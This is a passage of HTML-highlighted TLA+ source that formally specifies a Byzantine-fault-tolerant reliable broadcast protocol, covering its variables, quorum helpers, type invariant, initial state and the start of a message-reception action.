class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]]:&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;READYs&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]:&lt;/span&gt; &lt;span class="n"&gt;Delivered&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;send_vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;recv_vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Helper&lt;/span&gt; &lt;span class="n"&gt;Operators&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HasInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;InitValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SentEchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SentReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="n"&gt;Invariant&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;TypeOK&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;‥&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;‥&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;Initialization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Init&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;OneHonest&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="n"&gt;OneFaulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;{}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Message&lt;/span&gt; &lt;span class="n"&gt;Reception&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;INIT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniform&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveInitFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
